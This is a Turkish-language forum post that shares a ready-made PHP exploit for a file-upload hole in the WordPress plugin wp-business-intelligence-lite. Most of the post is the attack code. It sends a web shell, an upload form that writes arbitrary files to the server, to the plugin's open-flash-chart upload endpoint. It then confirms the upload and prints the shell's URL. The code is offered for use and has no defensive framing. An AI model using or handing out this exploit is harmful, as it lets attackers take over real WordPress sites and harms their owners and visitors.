Merhaba arkadaşlar, bugün sizlere wordpress alt yapiya sahip bir sistem'de oluşturulan bir eklentideki açik zaafiyetini göstericegim daha dogrusu exploitini paylaşicagim
# Exploit Yazarı : Manish Kishan Tanwar
Eklenti açiginin keşfedildigi link
Shell olarak bastıgınız zaman kaydedecegi link
ve exploitimiz
# Exploit Yazarı : Manish Kishan Tanwar
Eklenti açiginin keşfedildigi link
Kod:
http://127.0.0.1/wordpress/wp-content/plugins//wp-business-intelligence-lite//resources/open-flash-chart/php-ofc-library
/ofc_upload_image.phpShell olarak bastıgınız zaman kaydedecegi link
Kod:
http://127.0.0.1/wordpress/wp-content/plugins//wp-business-intelligence-lite//resources/open-flash-chart/tmp-upload-imag
es/shell.phpve exploitimiz
Kod:
<!--exploit code by Team INDISHELL(Manish Tanwar)-->
<?php
$web="http://127.0.0.1";
$shell="ica_shell.php";
$file="wp-content/plugins/wp-business-intelligence-lite/resources/open-flash-chart/php-ofc-library/ofc_upload_image
.php?name=";
$up="/wp-content/plugins/wp-business-intelligence-lite/resources/open-flash-chart/tmp-upload-images/";
$upshell=$up.$shell;
$data = '<?php
echo "<body bgcolor=black>";
echo "<p><div align=center><font color=#ff9933 font size=6> <3 INDI</font><font
color=white font size=6>SHELL</font><font color=green font size=6>=FTW <3
</font><p><form method=post enctype=multipart/form-data name=uploader >";
echo "<input type=file name=file size=50>    <input type=submit name=sut
value=Upload></form>";
if( isset($_POST[\'sut\']) )
{
if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\']))
{
echo "<font color=red size=2 face=\"comic sans ms\">upload done :D<br><br>";
}
else {
echo "<font color=red size=2 face=\"comic sans ms\">Upload failed :P<br>";
}
}
?>';
$link=$web;
$target = trim($link.$file.$shell);
$fshell=$link.$upshell;
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $target);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($fshell, 'r'))
{
echo "shell has been uploaded :D here is shell link<br><a href=
".$fshell.">".$fshell."</a>";
}
else
{
echo "sorry :( ";
}
?>
